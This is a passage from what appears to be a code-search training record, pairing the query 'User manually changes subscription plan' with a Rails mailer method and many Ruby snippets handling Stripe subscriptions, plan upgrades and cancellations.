"def verify_active\n account = Account.find(params[:id])\n if account.active_until < Time.now.utc\n if account.stripe_customer_id\n flash[:subscription_expired] = \"Your subscription has expired! Don't worry, your data is perfectly fine, but you'll need to update your payment information -- it looks like there was a problem charging your card on file.\"\n session[\"preferred_account_id\"] = account.id\n redirect_to edit_subscription_path\n else\n flash[:subscription_expired] = \"Your subscription has expired! Don't worry, your data is perfectly fine, but you'll need to enter your payment information and become a paying subscriber.\"\n session[\"preferred_account_id\"] = account.id\n redirect_to new_subscription_path\n end\n end\n end",
"def handle_unpaid_customer(customer_subscription)\n\t\tsubscription = Subscription.find_by_stripe_customer_token(customer_subscription.customer)\n\t\tsubscription.status = false\n\t\tsubscription.status_info = customer_subscription.status\n\t\tsubscription.save!\n\n\t\tuser = subscription.user\n\t\tNotifyMailer.delay.account_expired(user)\n\t\tNotifyMailer.delay.update_grapevine_team(user, \"User has been set to UNPAID status\")\n\tend",
"def create\n @subscription = Subscription.new(subscription_params)\n\n @subscription.sub_create(current_user,subscription_params[:stripe_plan_id],subscription_params[:coupon_code])\n\n # Create a subscription with the following information:\n #\n # 1) Customer Account\n # 2) Subscription Type (GOLD, Silver, etc.)\n # 3) Discount Coupom (if applicable)\n\n if @subscription.save\n redirect_to @subscription, notice: 'Subscription was successfully created.'\n else\n @verrors = @subscription.errors.full_messages\n render 'new'\n end\n end",
"def get_payment_message\n final_price =self.subscription.plan_price.to_f\n coupon_found = self.orders.where(state: 'paused').first.coupon.present?\n payment_message = \"You will be charged $#{final_price}/month for this subscription.\"\n payment_message = self.coupon.price_with_coupon(final_price) if coupon_found\n payment_message\n end",
"def paid?\n current_transaction\n end",
"def purchase(params)\n return false unless check_md5_hash\n if params['sid'].to_i == 202864835 and params['li_0_uid'] == uid\n next_payment = subscription_expires.nil? ? Time.now + 1.month : subscription_expires + 1.month\n case params['li_0_price'].to_f\n when 39.0\n self.update(plan: 'Light', subscription_expires: next_payment, calls_left: calls_left + 80)\n when 99.0\n self.update(plan: 'Standard', subscription_expires: next_payment, calls_left: calls_left + 250)\n when 279.0\n self.update(plan: 'Advanced', subscription_expires: next_payment, calls_left: calls_left + 2000)\n end\n return true\n end\n return false\n end",
"def subscribed(user)\n mail to: user.email\n end",
"def create_subscription(credit_card, options = {})\n\n u = self.user\n options[:order_id] = number # currently just loading a date\n options[:email] = u.email\n options[:address] = {\n :first_name => u.first_name,\n :last_name => u.last_name,\n :address1 => u.street_address1,\n :address2 => (u.street_address2 || \"\"),\n :company => (u.company || \"\"),\n :city => u.city,\n :state => u.us_state,\n :zip => u.zip,\n :country => 'United States',\n :phone => u.primary_phone\n }\n\n subscription = OrderTransaction.generate_yearly_subscription(credit_card, options)\n self.save!\n order_transactions << subscription\n\n if subscription.success?\n self.payment_captured!\n else\n self.transaction_declined!\n end\n\n subscription\n end",
"def update_subscription old_email, user\n execute { GoGoGibbon::Commands.update_subscription old_email, user }\n end",
"def call!\n verify!\n if valid?\n CandyCheck::PlayStore::SubscriptionPurchases::SubscriptionPurchase.new(@response[:result])\n else\n CandyCheck::PlayStore::VerificationFailure.new(@response[:error])\n end\n end",
"def cancel\n @user = current_user\n sub = @user.subscription\n subscription = Stripe::Subscription.retrieve(sub)\n subscription.delete\n @user.subscribed = false\n @user.subscription = nil\n if @user.save\n render :ok, json: { message: [\"Subscription will be canceled at the end of the billing period\"] }\n else\n render json: { message: [\"Stripe Customer couldn't be saved.\"] }, status: :unprocessable_entity\n end\n end",
"def subscription_term; end",
"def resume_subscription(card_id)\n delivery_date = FIRST_DELIVERY_DAYS.days.from_now\n subscription_id = self.subscription_id\n token = Spree::Order.get_unique_subscription_token\n coupon_code = self.check_for_coupon\n\n if coupon_code.blank?\n result = Subscription.place_subscription_without_coupon(delivery_date, subscription_id, card_id, token)\n else\n plan_price = self.subscription.plan_price.to_f\n coupon = Coupon.get_briantree_discount_id_and_calculate_final_amount(plan_price, coupon_code)\n result = Subscription.place_subscription_with_coupon(delivery_date, subscription_id, card_id, token, coupon)\n end\n\n if result.success?\n token = result.subscription.id\n activate_subscription(token, coupon)\n activate_orders(token, coupon, card_id)\n end #end of the result.success?\n\n type = self.subscription.subscription_type.to_s\n date = self.orders.where(state: 'confirm').first.delivery_date.strftime(\"%B %d, %Y\").to_s\n type + \" \" + date #\"BasicPack 20thjuly\"\n\n end",
"def unsubscribe\n user = Subscriber.find_by_unique_identifier(params[:id])\n user.update_attribute(:is_subscribed, false)\n user.save!\n render\n end"
] |
[
"0.69839936",
"0.6858228",
"0.68579304",
"0.67189693",
"0.65107477",
"0.6440201",
"0.642846",
"0.6418202",
"0.63964564",
"0.6250977",
"0.624413",
"0.622063",
"0.62037724",
"0.6200478",
"0.6187639",
"0.61780113",
"0.6176871",
"0.614886",
"0.613117",
"0.6129322",
"0.61178",
"0.60678",
"0.6066842",
"0.6063558",
"0.605867",
"0.60427076",
"0.60198784",
"0.5987083",
"0.5985025",
"0.5974967",
"0.5955847",
"0.595257",
"0.59243536",
"0.5912839",
"0.58954227",
"0.58943725",
"0.5891219",
"0.5889665",
"0.5878728",
"0.58508843",
"0.5836333",
"0.5823827",
"0.58103335",
"0.5803689",
"0.58011127",
"0.57927364",
"0.5781899",
"0.5769693",
"0.5760184",
"0.5757274",
"0.57535297",
"0.57369006",
"0.5736513",
"0.5730199",
"0.57224417",
"0.5715655",
"0.57115126",
"0.5707435",
"0.5707435",
"0.57036084",
"0.5699809",
"0.5698346",
"0.5694366",
"0.5686127",
"0.56822354",
"0.56730527",
"0.5663452",
"0.5663319",
"0.564162",
"0.5639175",
"0.5636176",
"0.56310874",
"0.5625949",
"0.56233656",
"0.5620551",
"0.56174475",
"0.5617204",
"0.5613537",
"0.5606246",
"0.5604944",
"0.55940264",
"0.5590623",
"0.5586514",
"0.5584019",
"0.55774766",
"0.5573559",
"0.55712545",
"0.5564815",
"0.5560866",
"0.5554884",
"0.5553316",
"0.5546976",
"0.55458003",
"0.55454326",
"0.5542649",
"0.55406123",
"0.5540524",
"0.5539953",
"0.55388",
"0.55340904"
] |
0.69236606
|
1
|
User manually changes subscription plan
|
def edit_subscription(user_name, email, plan)
@user_name = user_name
@email = email
@plan = plan
mail to: "Susie Ye <susie@baserails.com>", subject: "Subscription changed to #{plan}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update_plan(plan) \n unless stripe_customer_id.nil?\n customer = Stripe::Customer.retrieve(stripe_customer_id)\n customer.update_subscription(plan: plan.name, trial_end: 'now')\n self.subscription_plan_id = plan.id\n self.save\n end\n true\n rescue Stripe::StripeError => e\n log_stripe_error(e, \"Unable to update your subscription. #{e.message}.\")\n end",
"def upgrade\n plan_code = params[:plan_code]\n current_subscriber.change_plan_to(plan_code)\n\n flash[:notice] = 'Subscription plan has been changed.'\n render json: { success: true }\n end",
"def change_subscription_plan(sitename, plan_name, user, password, browser = @browser)\n Log.logger.info(\"Changing site's '#{sitename}' subscription plan to '#{plan_name}'.\")\n wait = Selenium::WebDriver::Wait.new(:timeout => 60)\n browser.get(@sut_url)\n login_as_admin(browser)\n browser.get(\"#{@sut_url}/admin/content/node/overview\")\n wait.until { browser.find_element(:xpath => \"//a[text() = '#{sitename}']/../following-sibling::*/a[text()='edit']\") }.click\n flag = false\n wait.until { browser.find_element(:xpath => \"//select[@id='edit-field-subscription-product-nid-nid']\") }.find_elements(:xpath => '//option').each { |e|\n next unless e.text == plan_name ; flag = true ; e.click ; break ; \n }\n Log.logger.info(\"SELECT FAILED\") unless flag\n if (browser.find_elements(:id => 'edit-field-db-cluster-id-0-value').size > 0) # This is the bug, needs to be removed from gardener. DB Cluster ID.\n temp = browser.find_element(:id => 'edit-field-db-cluster-id-0-value')\n temp.clear\n temp.send_keys(\"123\")\n end\n wait.until { browser.find_element(:id => 'edit-submit') }.click\n Log.logger.info(\"Changed the site #{sitename} subscription plan to #{plan_name}.\")\n wait.until { browser.find_element(:xpath => \"//div[contains(@class, 'messages status')]\") }\n login(user, password, browser)\n browser.get(@sut_url)\n end",
"def plan=(plan)\r\n if plan.amount > 0\r\n # Discount the plan with the existing discount (if any)\r\n # if the plan doesn't already have a better discount\r\n plan.discount = discount if discount && discount > plan.discount\r\n # If the assigned plan has a better discount, though, then\r\n # assign the discount to the subscription so it will stick\r\n # through future plan changes\r\n self.discount = plan.discount if plan.discount && plan.discount > discount\r\n else\r\n # Free account from the get-go? No point in having a trial\r\n self.state = 'active' if new_record?\r\n end\r\n\r\n #\r\n # Find any attributes that exist in both the Subscription and SubscriptionPlan\r\n # and that match the pattern of \"something_limit\"\r\n #\r\n limits = self.attributes.keys.select { |k| k =~ /^.+_limit$/ } &\r\n plan.attributes.keys.select { |k| k =~ /^.+_limit$/ }\r\n\r\n (limits + [:amount, :renewal_period]).each do |f|\r\n self.send(\"#{f}=\", plan.send(f))\r\n end\r\n \r\n self.subscription_plan = plan\r\n end",
"def set_subscription_plan\n @subscription_plan = Shoppe::SubscriptionPlan.find(params[:id])\n end",
"def transact\n get_subscription\n token = params[:stripe_token] || raise('Can not transact without stripe token')\n plan = Plan.find(params[:payment][:plan_id])\n \n cs = Ripple::Subscription::CompanySubscription.new(@subscription)\n new_subscription = cs.change_stripe_plan(plan.name, token)\n flash[:notice] = \"Customer was charged, and subscription upgraded.\"\n redirect_to admin_company_path(@company)\n end",
"def set_admin_subscription_plan\n @admin_subscription_plan = Admin::SubscriptionPlan.find(params[:id])\n end",
"def step3\n user = session[:user]\n #for v1, always this will be the subscription basic 18$, for v2 this will change\n user.subscription_id = 1\n end",
"def subscribe_to_plan(subscription_plan)\n @new_subscription = Subscription.create(plan: subscription_plan)\n @old_subscription = self.current_subscription\n\n if @old_subscription\n return @old_subscription if @old_subscription.plan == @new_subscription.plan\n activate_new_subscription\n end_old_subscription\n else\n activate_new_subscription\n end\n\n self.subscriptions << @new_subscription\n\n @new_subscription\n end",
"def change_plan_internal(new_plan)\n if result = super\n user_account.push_web_hooks_later(:event => \"plan_changed\")\n result\n end\n end",
"def change_plan\n if @account.active == 1\n # Find a plan,\n old_plan = PlanCC.find_by_i_plan(@account.i_plan)\n new_plan = PlanCC.find_by_i_plan(params[:plan])\n\n if !params[:type].blank?\n type = params[:type].to_s\n\n if !params[:year].blank?\n year = params[:year].to_i\n else\n flash[:error_card] = 'Incorrect parameters when changing the plan'\n redirect_to :controller => 'subs'\n end\n\n if type == \"new\"\n year = year == 1 ? true : false\n elsif type == \"change\"\n year = @account.i_bilcircle == 0 ? true : false\n else\n flash[:error_card] = 'Incorrect parameters when changing the plan'\n redirect_to :controller => 'subs' and return false\n end\n else\n flash[:error_card] = 'Incorrect parameters when changing the plan'\n redirect_to :controller => 'subs' and return false\n end\n\n # Calculate price of new plan\n @new_price = year ? calculate_discount_plan_cost(new_plan.i_plan) : new_plan.price\n @old_price = @account.i_bilcircle == 0 ? old_plan.price : calculate_discount_plan_cost(old_plan.i_plan)\n\n # Find a credit card\n @credit_card = CreditCard.find_by_i_cc(@account.i_cc)\n\n # Change plan\n #if @new_price > @old_price\n if year\n sum = @new_price - @account.credit\n\n if sum > 0\n # Make a payment\n payment_result = authorize_net_purchase(sum)\n\n # Generate user message\n if @response_code.to_i == 1 && @response_reason_code.to_i == 1\n user_message = \"Plan changed\"\n else\n user_message = get_user_message(@response_code, @response_reason_code)\n end\n\n if payment_result\n # Update account\n @account.endtime = (12.months).since(Time.now)\n @account.credit = 0\n @account.i_plan = new_plan.i_plan\n @account.i_bilcircle = BillingCircle.find(:first, :conditions => \"bilcircle = 12\").i_bilcircle\n @account.save\n\n add_transaction(:i_account => @account.i_account,\n :i_cc => @credit_card.i_cc,\n :amount => sum,\n :type => \"payment_received\",\n :plan => old_plan.i_plan,\n :new_plan => new_plan.i_plan,\n :transaction_id => @authorize_transaction_id,\n :user_message => user_message,\n :gw_string => @authorize_gateway,\n :ip => request.remote_ip.to_s,\n :authorization_code => @authorize_code)\n\n flash[:notice] = 'Plan changed'\n else\n add_transaction(:i_account => @account.i_account,\n :i_cc => @credit_card.i_cc,\n :amount => sum,\n :type => \"payment_failed\",\n :plan => old_plan.i_plan,\n :new_plan => new_plan.i_plan,\n :user_message => user_message,\n :transaction_id => @authorize_transaction_id,\n :gw_string => @authorize_gateway,\n :ip => request.remote_ip.to_s,\n :authorization_code => @authorize_code)\n\n flash[:error_card] = 'Payment failed'\n\n redirect_to :controller => 'subs' and return false\n end\n else\n @account.credit = @account.credit - @new_price\n @account.i_bilcircle = BillingCircle.find(:first, :conditions => \"bilcircle = 12\").i_bilcircle\n @account.i_plan = new_plan.i_plan\n @account.save\n\n # Add transaction\n add_transaction(:i_account => @account.i_account,\n :i_cc => @credit_card.i_cc,\n :type => \"plan_changed\",\n :amount => @new_price,\n :plan => old_plan.i_plan,\n :new_plan => new_plan.i_plan,\n :user_message => \"Plan changed\",\n :new_plan => new_plan.i_plan,\n :ip => request.remote_ip.to_s)\n end\n else\n # Add credit\n credit = 0 - ((@new_price-@old_price).to_f/30*(30-Time.now.day).abs)\n credit = 0 if credit > 0\n\n @account.credit = @account.credit + credit\n @account.endtime = (1.months).since(Time.now)\n @account.i_bilcircle = 0\n @account.i_plan = new_plan.i_plan\n @account.save\n\n # Add transaction\n add_transaction(:i_account => @account.i_account,\n :i_cc => @credit_card.i_cc,\n :type => \"plan_changed\",\n :amount => credit,\n :plan => old_plan.i_plan,\n :new_plan => new_plan.i_plan,\n :user_message => \"Plan changed\",\n :new_plan => new_plan.i_plan,\n :ip => request.remote_ip.to_s)\n end\n\n # Send Email\n Mailer.deliver_payment_success\n\n flash[:notice] = \"Plan changed\"\n #end\n end\n\n redirect_to :controller => 'subs'\n end",
"def upgrade\n\t @plan = Plan.find(params[:id])\n\t @subscription.remove if @subscription = current_user.subscription \n\n\t redirect_to new_subscription_path(@plan) \t\n\tend",
"def change_plan!(new_plan)\n changed = change_plan_internal(new_plan) do\n self.save!\n end\n\n changed && self.plan\n end",
"def plan_paypal\n if params[:token]\n @subscription.plan = SubscriptionPlan.find(params[:plan_id])\n if @subscription.complete_paypal(params[:token])\n flash[:notice] = \"Your subscription has been changed.\"\n SubscriptionNotifier.deliver_plan_changed(@subscription)\n redirect_to :action => \"plan\"\n else\n flash[:error] = \"Error completing PayPal profile: #{@subscription.errors.full_messages.to_sentence}\"\n redirect_to :action => \"plan\"\n end\n else\n redirect_to :action => \"plan\"\n end\n end",
"def change_subscription\n\tbounce_free_account\n\n\t@subs = current_user.subscriptions \n\tif @subs && !@subs.active.blank?\n\t@s = @subs.active.first\n\t@s_year = @s.created_at + 365.days\n\t#@c = Stripe::Customer.retrieve(@s.customer_id)\n\telse #this should not happen - be careful to make sure every customer has a subscription; or at least if they have a \n\t\t# cancel subsciption link, there is an active subscription to be canceled. \n\tredirect_to current_user, notice: 'You have no active subscriptions.'\n\t # return false is this line needed to end the action?\n\tend \n\n\t# users first (oldest) subscription, for displaying free trial information\n\t@firstsub = @subs.first\n\t@firstsub_end = @firstsub.created_at + 14.days\n\n\t#@plan = Plan.find_by_name(@s.plan_id) #this would be better for easily retrieving other associated plan info; but could have just used @s.plan_id for the plan name\n\tif !@s.my_plan_id.nil? # so that @plan isn't nil, which would cause problems in the view \n\t@plan = Plan.find_by_my_plan_id(@s.my_plan_id) # NOTE THAT @PLAN IS THE PLANOBJECT\n\t\t\t\t#see if active subscription has a coupon associated with it\n\t\t\t\tif !@s.coupon.nil? && Coupon.find_by_name(@s.coupon)\n\t\t\t\t\t@coupon = Coupon.find_by_name(@s.coupon)\n\t\t\t\t\t@code = @coupon.name\n\t\t\t\t\t@new_price = @plan.monthly_cost_cents * (100 - @coupon.percent_off)/100\n\t\t\t\telse\n\t\t\t\t\t@coupon = nil \n\t\t\t\t\t@code = nil\n\t\t\t\t\t@new_price = nil \n\t\t\t\tend \n\telse\n\t\t@plan = nil\n\t\t@coupon = nil \n\t\t@code = nil \n\t @new_price = nil \n\tend \n\nend",
"def create\n plan = Billingly::Plan.find(params[:plan_id])\n unless current_customer.can_subscribe_to?(plan)\n return redirect_to subscriptions_path, notice: 'Cannot subscribe to that plan'\n end\n current_customer.subscribe_to_plan(plan)\n on_subscription_success\n end",
"def create\n plan = Billingly::Plan.find(params[:plan_id])\n unless current_customer.can_subscribe_to?(plan)\n return redirect_to subscriptions_path, notice: 'Cannot subscribe to that plan'\n end\n current_customer.subscribe_to_plan(plan)\n on_subscription_success\n end",
"def upgrade_plan_from_admin(plan_id, renewal_date, fin_year)\n new_plan = Plan.find_by_id(plan_id.to_i)\n transaction do\n subscription_history = SubscriptionHistory.create!(\n :company_id => self.company_id,\n :plan_id => self.plan_id,\n :start_date => self.start_date,\n :end_date => self.end_date,\n :renewal_date => self.renewal_date,\n :first_subscription_date => self.first_subscription_date,\n :ip_address => self.ip_address,\n :amount => self.amount,\n :allocated_storage_mb => self.allocated_storage_mb,\n :allocated_user_count => self.allocated_user_count\n )\n\n user_count = self.allocated_user_count - self.plan.user_count + new_plan.user_count\n self.update_attributes!(\n :plan_id => new_plan.id,\n :renewal_date => renewal_date,\n :end_date => renewal_date,\n :allocated_user_count => user_count\n )\n\n if Subscription.find(self.id).plan.is_inventoriable? && self.company.warehouses.blank?\n Warehouse.create_default_warehouse(self.company_id, self.company.users.first.id)\n end\n if Subscription.find(self.id).plan.payroll_enabled? && self.company.leave_types.blank?\n LeaveType.create_default_leave_types(self.company_id, self.company.users.first.id)\n end\n\n if Subscription.find(self.id).plan.payroll_enabled? && self.company.holidays.blank?\n year = (Time.zone.now.to_date.month.to_i < fin_year.start_date.month ? fin_year.end_date.year : fin_year.start_date.year )\n holiday_date1 = Date.new(year.to_i, 1, 26)\n holiday_date2 = Date.new(year.to_i, 8, 15)\n holiday_date3 = Date.new(year.to_i, 10, 02)\n holiday = Holiday.create(:company_id => self.company_id, :created_by => self.company.users.first.id, :holiday=> \"Republic day\", :holiday_date => holiday_date1, :description =>\"Republic day of India\")\n holiday = Holiday.create(:company_id => self.company_id, :created_by => self.company.users.first.id, :holiday=> \"Independance Day\", :holiday_date => holiday_date2, :description =>\"Independance day of India\")\n holiday = Holiday.create(:company_id => self.company_id, :created_by => self.company.users.first.id, :holiday=> \"Mahatma Gandhi Jayanti\", :holiday_date => holiday_date3, :description =>\"Gandhi Jayanti celebrated in India to mark the occasion of the birthday of Mahatma Gandhi.\")\n\n end\n\n if Subscription.find(self.id).plan.payroll_enabled? && self.company.payheads.blank?\n accounts = Account.where(:name => [\"Basic\",\"House Rent Allowance\", \"Dearness Allowance\", \"Travelling Allowance\", \"Bonus\"], :company_id => self.company_id)\n if accounts.blank?\n # Account.create_default_accounts(self.company_id, self.company.users.first.id)\n end\n Payhead.create_default_payheads(self.company_id, self.company.users.first.id)\n end\n if !Subscription.find(self.id).plan.free_plan? && self.company.custom_fields.blank?\n CustomField.create_default_record(self.company_id)\n end\n logger.debug \"After subscription attributes\"\n #update users enrolled with appropriate roles in new plans\n if subscription_history.plan_id != self.plan_id\n self.company.users.each do |user|\n # user.roles[0] = new_plan.roles.find_by_name(user.roles[0].name)\n\t\t\t\t\t# user.save\n # logger.debug \"Updated roles\"\n new_role = new_plan.roles.find_by_name(user.roles[0].name)\n assignment = Assignment.find_by_user_id(user.id)\n assignment.update_attribute(:role_id, new_role.id)\n end\n end\n end\n end",
"def switch_plan(plan)\n transaction do\n subscriptions.each do |subscription|\n subscription.delete\n end\n\n customer.subscriptions.create({plan: plan.name})\n\n if plan.has_sms?\n if twilio_number.blank?\n numbers = TWILIO_CLIENT.available_phone_numbers.get('US').local.list\n number = numbers.first.try(:phone_number)\n\n if number\n TWILIO_CLIENT.account.incoming_phone_numbers.create(phone_number: number)\n self.update_attributes twilio_number: number\n else\n return false\n end\n end\n else\n unless twilio_number.blank?\n numbers = TWILIO_CLIENT.account.incoming_phone_numbers.list(phone_number: self.twilio_number)\n numbers.each do |incoming_number|\n incoming_number.delete\n end\n end\n end\n\n update_attributes plan: plan\n end\n end",
"def update\n @account = @user.account\n @plan = Plan.find(params[:account][:plan_id])\n \n if @account.plan_change_valid?(@plan)\n if @plan.free?\n respond_to do |format|\n if @account.update_attributes(params[:account])\n flash[:notice] = 'Account was successfully updated.'\n format.html { redirect_to(account_path(@account, :subdomain => @user.subdomain)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n else\n session[:account_id] = @account.id\n session[:plan_id] = @plan.id\n checkout(upgrade_account_url, projects_root_url(:subdomain => @user.subdomain))\n end\n else\n flash[:warning] = \"Account plan could not be changed.\"\n redirect_to(projects_root_url(:subdomain => @user.subdomain))\n end\n end",
"def changed\n customer_ref = params[:SubscriptionReferrer]\n plan_ref = params[:ProductPath].sub(\"/\", \"\")\n subscription_ref = params[:SubscriptionReference]\n \n # subscription info\n end_date = params[:SubscriptionEndDate]\n next_period_date = params[:SubscriptionNextPeriodDate]\n status = params[:SubscriptionStatus].downcase.strip\n status_reason = params[:SubscriptionStatusReason]\n total_price = params[:SubscriptionTotalPriceValue]\n currency = params[:SubscriptionTotalPriceCurrency]\n\n user = User.find(customer_ref)\n raise \"Received subscription changed for #{user.id} but they don't have an active subscription\" unless user.subscribed?\n \n subscription = user.active_subscription\n raise \"Received subscription changed for #{user.id} but the active subscription (#{subscription.reference}) doesn't match the notification (#{subscription_ref})\" unless subscription.reference == subscription_ref\n \n plan = Plan.find_by_fastspring_reference(plan_ref)\n raise \"Received subscription changed for #{user.id} but couldn't find a matching plan: #{plan_ref}\" unless plan\n \n # update subscription info, including status\n subscription.update_attributes!(\n status: status.to_s.downcase.strip,\n end_date: end_date,\n next_period_date: next_period_date,\n status_reason: status_reason,\n total_price: total_price,\n currency: currency\n )\n \n # change plan \n user.plan = plan\n user.save!\n \n # de-activate excess channels\n user.deactivate_excess_channels!\n \n render nothing: true, status: 200\n end",
"def create\n super do |resource| # super do oznacza ze dziedziczymy akcje \"create\" i rozszerzamy ją\n if params[:plan]\n resource.plan_id = params[:plan]\n if resource.plan_id == 2\n resource.save_with_subscription \n else\n resource.save\n end\n end\n end\n end",
"def update\n respond_to do |format|\n if @admin_subscription_plan.update(admin_subscription_plan_params)\n format.html { redirect_to @admin_subscription_plan, notice: 'Subscription plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_subscription_plan }\n else\n format.html { render :edit }\n format.json { render json: @admin_subscription_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def plan_id\r\n subscription_plan_id\r\n end",
"def test_assign_next_plan_upgrade\n subscription = Factory(:paid_subscription, :next_subscription_plan => @paid_plan)\n\n assert_equal @paid_plan, subscription.next_plan\n\n subscription.assign_next_plan\n\n assert_equal @paid_plan.id, subscription.subscription_plan_id\n assert_equal @paid_plan, subscription.subscription_plan(true)\n end",
"def reactivate\n plan = Billingly::Plan.find_by_id(params[:plan_id])\n if current_customer.reactivate(plan).nil?\n return render nothing: true, status: 403\n end\n on_reactivation_success\n end",
"def reactivate\n plan = Billingly::Plan.find_by_id(params[:plan_id])\n if current_customer.reactivate(plan).nil?\n return render nothing: true, status: 403\n end\n on_reactivation_success\n end",
"def update_subscription\n success = stripe_call do\n customer = Stripe::Customer.retrieve(@user.stripe_id)\n subscription = customer.subscriptions.retrieve(@user.stripe_subscription_id)\n subscription.source = @params[:stripeToken] if @params[:stripeToken]\n # Update plan if one is provided, otherwise use user's existing plan\n # TODO providing plan_id is untested\n plan_stripe_id = @params[:plan_id] ? Plan.find(@params[:plan_id]).stripe_id : @user.plan.stripe_id\n subscription.items = [{\n id: subscription.items.data[0].id,\n plan: plan_stripe_id\n }]\n subscription.save\n end\n return false unless success\n user_attributes_to_update = {}\n # This is updated by the stripe webhook customer.updated\n # But we can update it here for a faster optimistic 'response'\n assign_card_details(user_attributes_to_update, @params)\n user_attributes_to_update[:plan_id] = @params[:plan_id].to_i if @params[:plan_id]\n @user.update(user_attributes_to_update) if user_attributes_to_update.any?\n return true if success\n end",
"def test_next_plan_upgrade\n subscription = Factory(:paid_subscription, :next_subscription_plan => @paid_plan)\n assert subscription.renewable?\n tran = subscription.renew!\n assert_not_nil tran\n assert_equal @paid_plan, subscription.reload.subscription_plan\n end",
"def set_account_plan\r\n @account_plan = AccountPlan.find(params[:id])\r\n end",
"def user_subscription_lnk plan\n current_subscription = current_user.current_subscription(plan.plan_type.downcase)\n if plan.marketing?\n walkin_subscription = current_user.subscriptions.walkin.last\n if walkin_subscription.nil?\n return link_to \"SUBSCRIBE\",\"javascript:void(0);\",class: \"btn btn-primary btn-xl walkin_subscribe_modal_lnk\"\n end\n end\n if current_subscription.present?\n current_plan = current_subscription.plan\n if Plan.match_plan?(current_plan,plan)\n link_to \"CURRENT\",\"javascript:void(0);\",class: \"btn btn-default btn-xl\"\n else\n if Plan.downgrade?(current_plan,plan)\n link_to \"DOWNGRADE\",\"javascript:void(0);\",lnk: subscription_path(id: current_subscription.id,plan_id: plan.id,source: 'pricing'),method: :put,plan_id: plan.id,class: \"btn btn-primary btn-xl subscription_lnk\"\n else\n link_to \"UPGRADE\",\"javascript:void(0);\",lnk: subscription_path(id: current_subscription.id,plan_id: plan.id,source: 'pricing'),method: :put,plan_id: plan.id,class: \"btn btn-primary btn-xl subscription_lnk\"\n end\n end\n else\n if current_user.stripe_customer_id.blank?\n link_to \"SUBSCRIBE\",new_subscription_path(plan_id: plan.stripe_id),plan_id: plan.id,class: \"btn btn-primary btn-xl\"\n else\n link_to \"SUBSCRIBE\",\"javascript:void(0);\",lnk: subscriptions_path(plan_id: plan.id,source: \"pricing\"),method: :post,plan_id: plan.id,class: \"btn btn-primary btn-xl subscription_lnk\"\n end\n end\n end",
"def update_card_and_subscription(token, plan) # plan is now a my_plan_id\n \n c = Stripe::Customer.retrieve(current_user.customer_id) #have this in the enveloping controller action as well, because of the 'undefined variable c' error i was getting from the 4000000000000341 card test\n\n #updates customer with new card\n c.card = token\n c.save\n\n #updates subscription plan in stripe \n c.update_subscription(:plan => plan, :prorate => true)\n\n rescue Stripe::InvalidRequestError => e\n logger.error \"Stripe error while creating customer: #{e.message}\"\n flash[:error] = \"There was a problem processing your credit card. #{e.message}. Please try again.\"\n false\n \n rescue Stripe::CardError => e\n logger.error \"Stripe error while creating customer: #{e.message}\"\n flash[:error] = \"There was a problem processing your credit card. #{e.message}. Please try again.\"\n false\n\n rescue Stripe::StripeError => e\n logger.error \"Stripe error while creating customer: #{e.message}\"\n flash[:error] = \"There was a problem processing your credit card. #{e.message}. Please try again.\"\n false\n\n end",
"def plan=(new_plan)\n reset\n @plan = new_plan\n end",
"def assign_plan\n self.plan_id = Plan.find_by_name('Free').id\n end",
"def update_self_and_plan(user, plan)\n if plan[:level].to_i == 1\n self.plan.attributes = plan\n self.plan.save(false)\n self.update_attributes(user)\n else\n self.plan.update_attributes(plan) && self.update_attributes(user) && self.plan.process_transaction\n end\n end",
"def amend_to_xml(account, subscription, product_rate_plan_id)\n\n end",
"def updatable_subscription_plans\n subscription_plans = SubscriptionPlan.where(disabled: false).order(:name)\n\n if current_subscription_plan.present?\n subscription_plans.where('id != ?', current_subscription_plan.id)\n else\n subscription_plans\n end\n end",
"def create_initial_subscription\n return unless self.subscription_plan_id.to_i > 0\n\n @subscription_plan = SubscriptionPlan.find(self.subscription_plan_id)\n if @subscription_plan.user?\n self.subscribe_to_plan(@subscription_plan)\n else\n create_organization_and_subscription_plan\n end\n end",
"def plans\n\t @plans = Plan.all\n\t current_user.clean_subscriptions if current_user\n\tend",
"def test_add_plan\n upload_catalog('Catalog-v1.xml', false, @user, @options)\n\n # basic-monthly has no trial period\n bp = create_basic_entitlement(1, 'MONTHLY', '2013-08-01', '2013-09-01', 1000.0)\n\n # Move clock to 2013-09-01\n add_days_and_check_invoice_item(31, 2, 'basic-monthly', '2013-09-01', '2013-10-01', 1000.0)\n\n # Effective date of the second catalog is 2013-10-01\n upload_catalog('Catalog-v3.xml', false, @user, @options)\n\n # Move clock to 2013-10-01\n # Original subscription is grandfathered (no effectiveDateForExistingSubscriptions specified)\n add_days_and_check_invoice_item(30, 3, 'basic-monthly', '2013-10-01', '2013-11-01', 1000.0)\n\n # The annual plan is only present in the v3 catalog\n create_basic_entitlement(4, 'ANNUAL', '2013-10-01', nil, 0)\n\n # Move clock to 2013-10-31 (BCD = 1)\n add_days_and_check_invoice_item(30, 5, 'basic-annual', '2013-10-31', '2014-10-01', 12_849.32)\n\n # Move clock to 2013-11-01\n # Verify original subscription is still grandfathered\n add_days_and_check_invoice_item(1, 6, 'basic-monthly', '2013-11-01', '2013-12-01', 1000.0)\n\n # Verify we can change to the new plan\n change_base_entitlement(bp, 7, 'Basic', 'ANNUAL', '2013-08-01', '2013-11-01', '2014-11-01', 14_000, 13_000)\n end",
"def subscribe_owned_organization_to_plan\n organization = self.owned_organizations.first\n\n if organization.current_subscription.nil? && self.plan_id\n plan = Saaso::Plan.find(self.plan_id)\n organization.subscribe_to_plan(plan)\n end\n end",
"def update\n\n @subscription.subscribe(current_user.account, subscription_params[:stripe_plan_id], coupon: subscription_params[:coupon_code])\n\n if @subscription.save\n redirect_to @subscription, notice: 'Subscription was successfully updated.'\n else\n @verrors = @subscription.errors.full_messages\n render 'edit'\n end\n end",
"def subscribe_plan\n call(:subscribe_plan, connection_space.plan.remote_id)\n synchro_point\n end",
